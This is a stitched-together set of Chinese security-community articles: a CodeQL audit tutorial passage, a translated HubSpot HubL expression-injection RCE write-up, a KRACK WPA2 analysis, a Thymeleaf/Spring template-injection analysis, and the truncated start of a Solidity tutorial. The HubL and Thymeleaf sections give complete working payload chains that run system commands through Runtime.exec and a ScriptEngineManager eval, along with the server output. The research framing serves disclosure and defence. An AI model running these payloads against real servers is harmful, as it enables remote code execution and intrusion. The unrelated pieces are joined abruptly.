作为代码审计的开始 让我们先看看这个库调用的危险函数 在这里查了 django的重定向函数`redirect`
import python
from Call c ,Name n where c.getFunc() = n and n.getId() = "redirect"
select c,"redirect"
我们选择了`call`和`name`变量, call是一个函数调用
然后调用 `c.getFunc()` 来获取调用的函数, 为什么函数是一个`Name`呢
在python中 `test()` 实际上是对test这个变量进行调用 而在语法树上`test`是一个变量名
最后我们要求`n.getId()` 获得的名字是`redirect`
可以发现这里能查到的都是`redirect()` 而不是`xx.redirect`
如果我们想要寻找`request.GET.get(xxx)`的调用 必须使用`Attribute`
`Attribute.getName` 获取自身名字 `Attribute.getName` 获取.之前的`Expr`
在我们的需求中它还是一个`Attribute` 因为它前面还有`request.`
import python
from Attribute a,Attribute b
where a.getName() = "get" and a.getObject() =b
and (b.getName() = "GET" or b.getName() = "post")
select a,"get request var"
可以发现随着查询复杂度的增加 代码行数在不断增加 这个时候就应该使用函数来解耦
假设我们查询一个`Expr` 像上面的例子 但是不想查到`test` 或者`debug` 开头的文件
在`Expr`或者`Stmt`都可以通过`getLocation()`来获取当前位置 可以写一个函数
predicate isNoTest(Expr e){
not e.getLocation().getFile().getBaseName().matches("debug%") and
not e.getLocation().getFile().getBaseName().matches("test%")
}
通过不断添加限制条件 在代码审计中可以锁定自己想要看到的函数调用. codeql不仅如此,还可以通过结合判断条件来寻找自己目标中的代码
例如我们希望找到一个函数中有获取请求数据并赋值的语句 还进行了重定向
首先作为一个赋值语句的终点 `.get(xx)` 是一个调用 添加
select Call c
// 省略
and c.getFunc() = a
然后添加一个赋值语句 要求右端是上面的调用
select Assign assign
// 省略
and assign.getValue() = c
再要求它们的作用范围是同一个函数
from Function f
// 省略
and (assign.getScope() = f and redirectCall.getScope() =f)
最后代码
import python
from Attribute a,Attribute b,Call c,
Function f, Assign assign, Name n,
Call redirectCall,Name n1
where a.getName() = "get" and a.getObject() =b
and (b.getName() = "GET" or b.getName() = "post")
and f.getAStmt() = assign
and c.getFunc() = a
and assign.getValue() = c
and redirectCall.getFunc() = n1 and n1.getId() = "redirect"
and (assign.getScope() = f and redirectCall.getScope() =f)
select f
也可以查询变量是否直接进行危险函数,但是由于赋值和各种字符串操作之类的关系 应该属于污点分析的内容了
### 后言
这篇教程讲了如何去用codeql去做代码审计辅助.在拥有思路后去编写这种查询的最大难点 就是文档差了 使用人数少 你无法谷歌到xxx如何去查询
只能自己去查文档去查那些函数到底怎么用. | 社区文章 |
翻译地址: <https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw>
> 这篇文章是我如何利用HubL表达式中的漏洞在Hubspot服务器上进行远程代码执行。该漏洞用于在Hubspot
> CRM中创建模板和自定义模块。我之前对这些漏洞完全没有经验，但是这是一个非常有趣的学习机会。在这篇文章中，我将详细介绍我研究的过程以及是如何从小方面切入从而一步一步实现更大的目标。
## 准备工作
在研究Hubspot的漏洞悬赏时，我遇到了一个非常有趣的功能。用户可以从设计管理器中为电子邮件或博客创建自定义设计，并可以在其模板中使用HubL表达式。
因为HubL是一种标记语言，所以我开始使用 payload {{7 * 7}} 并得到了一个 '49' 的回显，这意味着服务器将两个大括号中的解析为
HubL 代码。 但是，此时我对表达式语言或 HubL 一无所知，所以我决定使用在 PortSwigger
[博客](https://portswigger.net/blog/server-side-template-injection)发布的方法来模糊输入并查看服务器端正在使用的模板引擎。
但是，输出结果没有遵循任何已知的模式，我得到的只有 "Unknown" 或 "Not
Vulnerable"。经过几次失败的尝试后，我决定是时候去看这该死的[说明文档](https://designers.hubspot.com/docs/hubl/intro-to-hubl)了！
## HubL 简介
下面是 HubL 表达的一个非常高级别的介绍，当然我也不是什么专家。以下部分只是包含能让我们了解发生了什么以及我如何利用该漏洞的信息。
以下3种类型的分隔符在模块代码中用来分隔 HubL 和HTML 。
{% %} - 语句分隔符
HubL 语句用于创建可编辑模块，定义条件模板逻辑，设置循环，定义变量等。
{{ }} - 表达式分隔符
表达式分隔符{{ }}之间的任何内容都会被模板引擎解析，这就是我非常感兴趣的地方之一。
{# #} - 注释分隔符
{# #}之间的任何内容都将被解析器注释掉或忽略。
变量：
在模块中有一些内置变量，例如{{ account }}，{{ company_domain }}，{{ content }}
等。解析器在运行时会将这些变量解析为它们的实际值。例如 {{ company_domain }} 将被您公司的实际域名取代。用户还可以在语句{%
%}块中声明自定义变量，这些变量可以在表达式{{ }}中使用，就像内置变量一样。
另一个值得注意的点是，文档说 HubL 基于 Jinja，但是如前所述，在计算表达式时，Output 没有遵循正常的Jinja模式。
下面开始我们的探索吧！
对于以下所有示例，payload 提交在 POST 请求中的template_source 参数中，其 Output 显示在 output_html 和
html 字段中。
在尝试了大多数内置变量名后，我偶然发现了一个未记录的变量：“request”，它返回了一个有趣的字符串。
Payload：{{request}}
Output: com.hubspot.content.hubl.context.TemplateContextRequest@23548206
太好了！这看起来像是 'request' 对象的内存位置！它从命名约定看起来也像 Java。在查阅了相关文档后，我尝试了以下
payload，以验证它是否是一个基于Java的模板引擎：
将字符串转换为大写 -
Payload：{{'a'.toUpperCase() }}
Output：A
连接两个字符 -
Payload： { {'a'.concat('b') }}
Output：ab
太棒了！这看起来很有希望。模板引擎不仅解析了自己的语法，还允许我们调用内置方法。
## 漏洞
试图获得角色的类 -
Payload: {{'a'.getClass()}}
Output: java.lang.String
非常好！到这我们可以确认是基于Java的模板引擎。这里的漏洞是可以在任何对象上调用 getClass() 方法。 在这一点上，我确信可以继续深入。
但在深入之前，我想了解表达式语言是如何工作的，所以我开始收集更多信息：
获取请求对象的类 -
Payload: {{request.getClass()}}
Output: class com.hubspot.content.hubl.context.TemplateContextRequest
获取类的声明方法（从0增加到任意数字以获取所有方法）-
Payload: {{request.getClass().getDeclaredMethods()[0]}}
Output: public boolean
com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
此时，我搜索了 “ com.hubspot.content.hubl.context.TemplateContextRequest” 并在 Github
上发现了 Jinjava 项目。查看源代码中的类声明后，我还能够从请求类中调用方法 -
Payload: {{request.isDebug()}}
Output: false
为了更进一步，我了解到我们还可以使用 forName () 和 newInstance() 方法获取一个完全不同的类的实例 -
使用字符串'a'来获取类 sun.misc.Launcher 的实例 -
Payload: {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
Output: sun.misc.Launcher@715537d4
也可以获得 Jinjava 类的新对象 -
Payload: {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
Output: com.hubspot.jinjava.JinjavaConfig@78a56797
它也可以通过组合{% %}和{{ }}来调用创建的对象的方法 -
Payload: {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}
在这里，我用新的 com.hubspot.jinjava.Jinjava 类实例创建了一个变量'ji',并获得对 newInterpreter
方法的调用。在下一个块中，我使用表达式{{1 * 2}}在'ji'上调用了 render 方法。
Output: 2
我现在已经有大概的理解，并准备好挖到这个 RCE。从我刚刚说了解的内容来看这应该很容易。只需创建一个 java.lang.Runtime
类的对象，并在其上调用 exec() 方法。
所以
Payload: {{'a'.getClass().forName('java.lang.Runtime').newInstance()}}
Output: TemplateSyntaxException: java.lang.IllegalAccessException: Class javax.el.BeanELResolver can not access a member of class java.lang.Runtime with modifiers "private"
坏消息！看起来 Runtime 方法被阻止了。为了确保我没有遗漏任何东西，我尝试使用 getDeclaredMethods 调用获取 Runtime
类的声明方法，并且它工作正常，这意味着不允许在 java.lang.Runtime 类上调用 newInstance() 方法。
了解Java的历史后，我很确定会有另一种方式。
是时候寻找替代方案了。
第一个选项： java.lang.System
Payload: {{'a'.getClass().forName('java.lang.System').newInstance()}}
Ouput: TemplateSyntaxException: java.lang.IllegalAccessException: Class javax.el.BeanELResolver can not access a member of class java.lang.System with modifiers "private"
emmm 无法访问私有化的构造方法，第一个选项失败。
经过疯狂的搜索和询问后，我发现了一个流啤的[博客](https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html)，它向我介绍了
javax.script.ScriptEngineManager。
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance()}}
Output: javax.script.ScriptEngineManager@727c1a89
太棒了！我得到了一个 ScriptEngineManager 对象意味着 RCE 即将出现。但在此之前，我必须了解我的新朋友
[ScriptEngineManager](https://docs.oracle.com/javase/7/docs/api/javax/script/ScriptEngineManager.html)。
找出这是什么类型的javascript引擎 -
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript')}}
Output: jdk.nashorn.api.scripting.NashornScriptEngine@7f97607a
获取脚本上下文 -
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').getContext()}}
Output: jdk.nashorn.api.scripting.NashornScriptEngine@7f97607a
获取语言名称 -
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineFactories()[0].getLanguageName()}}
Output: ECMAScript
获取语言版本信息 -
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineFactories()[0].getLanguageVersion()}}
Output: ECMA - 262 Edition 5.1
OK,现在万事俱备。
要使用 ScriptEngineManager 获取 RCE ，我们必须运行一个非常有用的 “eval” 方法，其中包含一些 Java 代码。
经过大量的试验和错误，我终于找到一个可执行的eval。
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
Output: xxx
我使用 ScriptEngineManager 的实例成功执行了动态java代码！现在我只需要将 eval 的内容替换成执行系统命令的代码。
经过另一次试错会后，我终于取得了一些成功 -
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
Output: java.lang.UNIXProcess@1e5f456e
流啤！输出是对 UNIXProcess 对象的引用，这意味着我的命令已成功执行！我现在可以建立一个反向连接来获得一个 shell
。但是因为我能够看到输出，所以我决定再多推一下并获得命令的输出作为响应本身。
另一个疯搜索会话狂的是通过发现[org.apache.commons.io.](https://commons.apache.org/proper/commons-io/javadocs/api-2.5/org/apache/commons/io/IOUtils.html)
得出的。此类为输入/输出操作提供静态实用程序方法。
所以我的最终 Payload 是 -
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Output:请往下看
我花了几次尝试来学习如何将多个参数传递给同一个命令。
注意 x.command 函数！-
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux\n
你可以想象，挖这个洞过程有多挣扎，但在最后，我还是收获很多，并在此过程中学到了很多东西。Jinjava项目由Hubspot于[2014年](https://github.com/HubSpot/jinjava/pull/230)推出，这意味着这个洞已经存在4年了，暂时没人发现它（希望如此）。Hubspot团队非常容易接受并通过在变量上禁用“getClass”
方法来快速修复它。你可以在这里找到[解决方案](https://github.com/HubSpot/jinjava/pull/230)。
## 参考
1. <https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html>
2. <https://portswigger.net/blog/server-side-template-injection>
3. <http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/>
4. <https://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html> | 社区文章 |
# 【安全报告】WPA2 KRACK Attacks 分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：360天马安全团队
**360天马安全团队(PegasusTeam)点评：**
本次的WPA2“ **密钥重装攻击** ”，基本原理为利用 **WPA协议层**
中的逻辑缺陷，多次重传握手过程中的消息3从而导致重放随机数和重播计数器，为攻击者提供了利用条件。
在协议中还存在一条危险的注释“一旦安装后，就可从内存中清除加密密钥”，若按此注释进行实现，在密钥重装攻击时会从内存中取回已经被0覆盖的key值，从而导致客户端安装了值全为零的秘钥。而使用了含漏洞wpa_supplicant版本的Linux及Android设备便因此遭受严重威胁。
整体来说，此次漏洞的危害程度弱于WEP漏洞的影响，但对于Linux及Android设备需额外注意要及时更新修补此漏洞，防止遭受嗅探、劫持等攻击。
需要注意的是：
**此攻击无法破解WIFI密码，同时更改WiFi密码无法缓解此类攻击。**
**攻击主要面向客户端设备，路由器可能并不需要进行安装更新。**
**WPA/WPA2协议还是安全的，一些客户端的实现需要更改，可通过向下兼容的方式进行修复，无需更换设备。一旦修复更新发布，请立即为您的设备安装。**
截止北京时间2017.10.17 14:00，官方并未公布该漏洞的POC/EXP。
****
**1.概况**
近日，安全研究员 Mathy Vanhoef 发现 WPA2 协议层中存在逻辑缺陷，几乎所有支持Wi-Fi的设备（包括但不限于Android, Linux,
Apple, Windows, OpenBSD, MediaTek,
Linksys）都面临威胁，其传输的数据存在被嗅探、篡改的风险。攻击者可获取WiFi网络中的数据信息，如信用卡、邮件、账号、照片等，危害巨大。
这种攻击方式被命名为密钥重装攻击（Key Reinstallation
Attacks）。漏洞成因在于802.11标准中没有定义在4次握手（和其他握手）中何时应该安装协商密钥，攻击者可通过诱使多次安装相同的密钥，从而重置由加密协议使用的随机数和重放计数器。
以下为此次漏洞相关的CVE编号：
**CVE-2017-13077: 在四次握手中重装成对加密密钥（PTK-TK）**
**CVE-2017-13078: 在四次握手中重装组密钥（GTK）**
**CVE-2017-13079: 在四次握手中重装完整组密钥（IGTK）**
**CVE-2017-13080: 在组密钥握手中重装组密钥（GTK）**
**CVE-2017-13081: 在组密钥握手中重装完整组密钥（IGTK）**
**CVE-2017-13082: 接受重新传输的快速BSS切换（FT）重新关联请求，处理的同时重装成对加密密钥（PTK-TK）**
**CVE-2017-13084: 在PeerKey握手中重装STK密钥**
**CVE-2017-13086: 在TDLS（Tunneled Direct-Link Setup，通道直接链路建立）握手中重装TDLS
PeerKey（TPK）**
**CVE-2017-13087: 处理无线网络管理（WNM）休眠模式响应帧时重装组密钥（GTK）**
**CVE-2017-13088: 处理无线网络管理（WNM）休眠响应帧时重装完整组密钥（IGTK）**
以下为攻击Android设备的演示视频：
**影响范围**
由于漏洞缺陷存在于WiFi协议层，这意味着所有支持WPA2的客户端都将遭受影响。根据描述，此密钥重装攻击可用于:
**WPA1及WPA2**
**个人及企业网络**
**Ciphers WPA-TKIP, AES-CCMP 和 GCMP**
虽然Windows及iOS在实现“4次握手”时，不接受“消息3”的重传（未遵守802.11标准），在4次握手中不会遭到密钥重置攻击的影响，但在Group
Key Handshake以及802.11r中的FT handshake中依然可被攻击。
其中，wpa_supplicant
2.4及2.5版本实现了协议注释内容“一旦安装后，就可从内存中清除加密密钥”，将导致客户端会安装值全为零的秘钥。因此使用了这些wpa_supplicant版本的Linux及Android设备将遭受严重威胁。
下图为wpa_supplicant版本发布时间线：
官网的补遗中提到，对于wpa supplicant 2.6，采用John A. Van Boxtel提出的方法依然可以攻击——
通过以与原始消息1中使用的相同的ANonce伪造的消息1，然后将重传的消息3转发给受害者。
**时间线**
2017年7月14日左右，Mathy Vanhoef –
便向所测产品的设备供应商发出了通知。在与多个供应商沟通后发现漏洞普遍存在于几乎所有设备上，实为协议的漏洞而非实现的问题。
2017年8月24日，Mathy Vanhoef在Black Hat Webcast上发表了《[Securely Implementing Network
Protocols: Detecting and Preventing Logical
Flaws](https://www.blackhat.com/docs/webcast/08242017-securely-implementing-network2.pdf)》，讲述对网络协议中逻辑漏洞的检测方法。
2017年8月28日，CERT/CC向供应商发出了广泛的通知。
2017年10月6日，上线[漏洞官网](http://www.krackattacks.com)，及[Paper](http://papers.mathyvanhoef.com/ccs2017.pdf)上披露漏洞细节。
截止目前，利用工具暂未公布。
**防护**
及时更新无线路由器、手机，智能硬件等所有使用WPA2无线认证客户端的软件版本。（有补丁的前提下）
有条件的企业及个人请合理部署WIPS（无线入侵防御系统），及时监测合法WiFi区域内的恶意钓鱼WiFi，并加以阻断干扰，使其恶意WiFi无法正常工作。
无线通信连接使用VPN加密隧道及强制SSL规避流量劫持与中间人攻击造成的信息泄漏。
在不使用WiFi时关闭手机WiFi功能，公共WiFi下不要登录有关支付、财产等账号、密码。如需登录、支付，将手机切换至数据流量网络。
家用WiFi该怎么使用就怎么使用，WPA/WPA2本身是安全的，也不用修改WiFi密码。
**修复情况**
2017年10月2日，Linux的hostapd和wpa_supplicant 补丁已公布，详见
<https://w1.fi/security/2017-1/>。
2017年10月10日，微软在Windows 10 操作系统中发布补丁 KB4041676
苹果在最新的 beta 版本iOS、macOS、 tvOS和 watchOS中修复了无线网络安全漏洞
****
**2.详情分析**
本次攻击主要是针对WPA2协议的四次握手过程，使用了一种叫做Key重新安装攻击（KRACK）新的攻击技术。
我们知道当客户端试图连接到一个受保护的WiFi网络时，AP将会发起四次握手，完成相互认证。
同时，在四次握手过程中将会协商好一个新的用于加密接下来通信数据的加密密钥。
在四次握手过程中，当客户端收到AP发来的Message
3后将会安装加密密钥key，用于加密正常的数据帧。因为message可能丢失或者被丢弃，如果AP没有收到响应AP将会重新传输message3，这样客户端可能会收到多次message3。客户端每次收到此message都会重新安装加密key，从而重置加密协议使用的增量发送数据包号nonce和接收重放计数器。
**而攻击者可以通过收集和重放重新发送四次握手中的message3强制重置nonce，从而成功攻击加密协议，解密客户端发送通信数据包，截获敏感信息。**
另外，这一漏洞似乎是由WiFi标准中的一句话引起的。该标准建议，一旦首次安装，就可以从内存中清除加密密钥。当客户端收到四次握手的重传message3时，它将重新安装现已清除的加密密钥，有效地安装了一个全为零的密钥。
**值得注意的是本次攻击没有获取到wifi网络的密码，也没有获取在四次握手过程中协商的新生的加密密钥。**
**演示视频分析**
1、首先测试设备连接真实的TestNetWork网络：
2、开启WireShark并监听在稍后被设为钓鱼热点的网卡：
3、 攻击演示：
真实热点Real AP：
Ssid： testnetwork
MAC：bc:ae:c5:88:8c:20
Channel：6
被攻击客户端target：
MAC: 90:18:7c:6e:6b:20
伪造同名同MAC热点（Rouge AP）：
Ssid： testnetwork
MAC：bc:ae:c5:88:8c:20
Channel：1（信道不同）
注入CSA beacon pairs 将客户端信道变为1，也就是迫使客户端target与rouge
AP通信。伪AP向目标target发送Disassociate数据包，使其解除关联。
4.利用网卡建立目标AP的伪造热点，迫使客户端连接到伪造热点上。此时设备经历重连，WiFI状态为正在认证。
当目标targe与真实AP完成认证过程，准备发起连接时，注入CSA beacon pairs，使信道切换到channel 1
实施中间人攻击，同时客户端状态保持在state 2，接下来开始发送四次握手中的message 3，实施密钥重新安装（Key Reinstallation
Attack）攻击。
5、此时密钥重装攻击已经执行成功，客户端已连接上伪造热点：
6、在此伪造热点中，被攻击端所有流量皆可被嗅探、篡改；演示视频中使用经典端MITM工具sslstrip对HTTPS进行降级，便可获取用户传输的明文账号信息
7、用户在此网站提交的账号信息可被攻击者捕获。
****
**3.Q＆A**
Q：我是否应该修改 Wi-Fi 密码？
A：家用WiFi该怎么使用就怎么使用，WPA/WPA2本身是安全的，也不用修改WiFi密码。
Q：我正在使用WPA2-CCMP。这是否仍然面临安全风险？
A：同样存在安全隐患，WPA/WPA2，PSK和Enterprise都存在风险。
Q：四次握手在理论上被证明是安全的，您的攻击为何能够实现？
A：这个攻击和之前对WPA2协议安全的证明并不矛盾。因为在证明的时候已经默认密钥只会被安装一次。
Q：是否已经有人开始对这一漏洞加以实际利用？
A：目前我们没有公布POC/EXP代码
Q：我是否应该暂时使用 WEP，直到我的设备完成补丁安装？
A：不需要，该怎么使用就怎么使用，WPA/WPA2本身是安全的
Q：与其它针对 WPA2 的攻击相比，这种攻击方式有何特点？
A：这是一种不需要依靠密码猜测的 WPA2 协议攻击手段。 | 社区文章 |
**作者：宽字节安全**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
## 0x01 Thymeleaf简介
Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python
web开发中的jinja模板引擎。顺便说一句，Thymeleaf是spring boot的推荐引擎
## 0x02 基础知识
Spring Boot 本身就 Spring MVC 的简化版本。是在 Spring MVC 的基础上实现了自动配置，简化了开发人员开发过程。Spring
MVC 是通过一个叫 DispatcherServlet 前端控制器的来拦截请求的。而在 Spring Boot 中 使用自动配置把
DispatcherServlet 前端控制器自动配置到框架中。
例如，我们来解析 /users 这个请求
1. DispatcherServlet 前端控制器拦截请求 /users
2. servlet 决定使用哪个 handler 处理
3. Spring 检测哪个控制器匹配 /users，Spring 从 @RquestMapping 中查找出需要的信息
4. Spring 找到正确的 Controller 方法后，开始执行 Controller 方法
5. 返回 users 对象列表
6. 根据与客户端交互需要返回 Json 或者 Xml 格式
### spring boot 相关注解
* @Controller 处理 Http 请求
* @RestController @Controller 的衍生注解
* @RequestMapping 路由请求 可以设置各种操作方法
* @GetMapping GET 方法的路由
* @PostMapping POST 方法的路由
* @PutMapping PUT 方法的路由
* @DeleteMapping DELETE 方法的路由
* @PathVariable 处理请求 url 路径中的参数 /user/{id}
* @RequestParam 处理问号后面的参数
* @RequestBody 请求参数以json格式提交
* @ResponseBody 返回 json 格式
### Controller注解
@Controller 一般应用在有返回界面的应用场景下.例如，管理后台使用了 thymeleaf 作为模板开发，需要从后台直接返回 Model
对象到前台，那么这时候就需要使用 @Controller 来注解。
### RequestMapping注解
用来将一个controller添加至路由中
## 0x03 环境配置
<https://github.com/veracode-research/spring-view-manipulation/>
我们以spring boot + Thymeleaf模板创建一个带有漏洞的项目。核心代码如下
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}
代码含义如下：用户请求的url为path，参数名称为lang，则服务器通过Thymeleaf模板，去查找相关的模板文件。
例如，用户通过get请求`/path?lang=en`，则服务器去自动拼接待查找的模板文件名，为`resources/templates/en.html`，并返回给用户的浏览器。
上面的代码存在两个问题： 1\. 是不是存在任意文件读取？ 2\. 是不是存在诸如模板注入的漏洞？？？
## 0x04 模板注入分析
spring boot如何查找controller这块我们不分析，因为对于我们不重要。
spring boot在`org.springframework.web.servlet.ModelAndView`方法中，开始处理用户的请求
/**
* This implementation expects the handler to be an {@link HandlerMethod}.
*/
@Override
@Nullable
public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
return handleInternal(request, response, (HandlerMethod) handler);
}
随后在`org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle`方法中，通过invokeForRequest函数，根据用户提供的url，调用相关的controller，并将其返回值，作为待查找的模板文件名，通过Thymeleaf模板引擎去查找，并返回给用户
/**
* Invoke the method and handle the return value through one of the
* configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}.
* @param webRequest the current request
* @param mavContainer the ModelAndViewContainer for this request
* @param providedArgs "given" arguments matched by type (not resolved)
*/
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
Object... providedArgs) throws Exception {
Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
setResponseStatus(webRequest);
if (returnValue == null) {
if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
disableContentCachingIfNecessary(webRequest);
mavContainer.setRequestHandled(true);
return;
}
}
else if (StringUtils.hasText(getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}
mavContainer.setRequestHandled(false);
try {
this.returnValueHandlers.handleReturnValue(
returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
}
}
在函数中，调用`this.returnValueHandlers.handleReturnValue`去处理返回结果。最终在`org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue`方法中，将controller返回值作为视图名称。代码如下
@Override
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,
ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
mavContainer.setViewName(viewName);
if (isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
}
spring
boot最终在`org.springframework.web.servlet.DispatcherServlet#processDispatchResult`方法中，调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称，并加载模板，返回给用户。核心代码如下
`org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression`
final String viewTemplateName = getTemplateName();
final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();
final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
final FragmentExpression fragmentExpression;
try {
// By parsing it as a standard expression, we might profit from the expression cache
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (final TemplateProcessingException e) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
## 0x05 不安全的java代码
#### 第一种：
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}
在查找模板中，引用了用户输入的内容
payload
GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8090
Connection: close
#### 第二种
根据spring
boot定义，如果controller无返回值，则以GetMapping的路由为视图名称。当然，对于每个http请求来讲，其实就是将请求的url作为视图名称，调用模板引擎去解析。
<https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc-ann-return-types>
在这种情况下，我们只要可以控制请求的controller的参数，一样可以造成RCE漏洞。例如我们可以控制document参数
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
## 0x06 修复方案
### 1\. 设置ResponseBody注解
如果设置`ResponseBody`，则不再调用模板解析
### 2\. 设置redirect重定向
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
根据spring
boot定义，如果名称以`redirect:`开头，则不再调用`ThymeleafView`解析，调用`RedirectView`去解析`controller`的返回值
### 3\. response
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
由于controller的参数被设置为HttpServletResponse，Spring认为它已经处理了HTTP
Response，因此不会发生视图名称解析
## 0x07 参考
1. <https://github.com/veracode-research/spring-view-manipulation/>
2. <https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html>
## 欢迎关注 宽字节安全 公众号
* * * | 社区文章 |
### 一、前言
上回文章中我们提到了简单函数的漏洞利用情况。我们对`Fallback()`这个回调函数进行了安全漏洞的分析，也针对竞赛题目复现了一些漏洞利用过程。
在本篇文章中，我们继续对 **简单函数**
进行安全机制分析。本文我们将要对构造函数以及`tx.orgin`、`msg.sender`进行安全分析。在真实的合约开发中，上述这几个函数的使用频率是十分高的，而对于合约来讲，由于其面向对象的特性所迫，所以在编写合约的过程中构造函数是必须要进行使用的。对于`tx.orgin以及msg.sender`函数来讲，这些语法会在函数内部进行条件判断的时候使用，而条件判断往往是安全保障的最重要的一道门。倘若这些地方出现了问题而导致条件被绕过，那么系统的安全性就可能受到巨大的挑战。
倘若这些基础点存在了攻击漏洞，那么带来的危害是不可估量的。下面就看这些地方的漏洞点是如何产生的。
### 二、函数解析
#### 1 构造函数
Solidity编写合约和面向对象编程语言非常相似，我们可以通过构造函数（constructor）来初始化合约对象。
`构造函数`就是方法名和合约名字相同的函数，创建合约时会调用构造函数对状态变量进行数据初始化操作。
pragma solidity ^0.4.20;
contract CpTest {
uint value;
/* 合约初始化时会调用构造函数 */
function CpTest (uint number, uint p) {
value = number * p;
}
function getPower() view returns (uint) {
return value;
}
}
在我们部署合约的时候，我们需要传入参数以便初始化合约中的成员变量。
我们在构造函数中为成员变量赋初值为：2*5 = 10。
那同学就会提问，倘若我不小心忘记书写构造函数，对于Solidity来说的话会不会报错呢？
我们进行相关实验：
我们能够看到，虽然我们将构造函数注释掉了，但是我们的合约仍然可以正常的部署。而我们能够查看到我们的成员变量value的值为初始值0。
现在我们做一些实验来验证一个合约中是否可以拥有两个构造函数。
所以我们得到，一个合约中只能有允许一个构造函数存在。
#### 2 tx.orgin函数
下面我们来详细的讲述一下`tx.orgin`以及`msg.sender`的用法以及区别之处。
下面我们来看测试合约：
pragma solidity ^0.4.20;
contract CpTest {
uint value;
function CpTest (uint number, uint p) {
value = number * p;
}
function getPower() view returns (uint) {
return value;
}
function getOrigin() view returns (address) {
return tx.origin;
}
function getSender() view returns (address) {
return msg.sender;
}
}
在当前地址`0xca35b7d915458ef540ade6068dfe2f44e8fa733c`下我们调用合约，看看sender的内容与orgin的内容分别是什么：
之后，我们通过合约远程调用（A-->B 用A合约调用B合约），来测试其sender的内容与orgin的内容的对应。
pragma solidity ^0.4.20;
contract CpTest {
uint value;
function CpTest (uint number, uint p) {
value = number * p;
}
function getPower() view returns (uint) {
return value;
}
function getOrigin() view returns (address) {
return tx.origin;
}
function getSender() view returns (address) {
return msg.sender;
}
}
contract testCal {
CpTest test = CpTest(0x5e72914535f202659083db3a02c984188fa26e9f);
function getOrigin() view returns (address) {
return test.getOrigin();
}
function getSender() view returns (address) {
return test.getSender();
}
}
此时我们第二个合约的地址为`0x14723a09acff6d2a60dcdf7aa4aff308fddc160c`。
调用后得到：
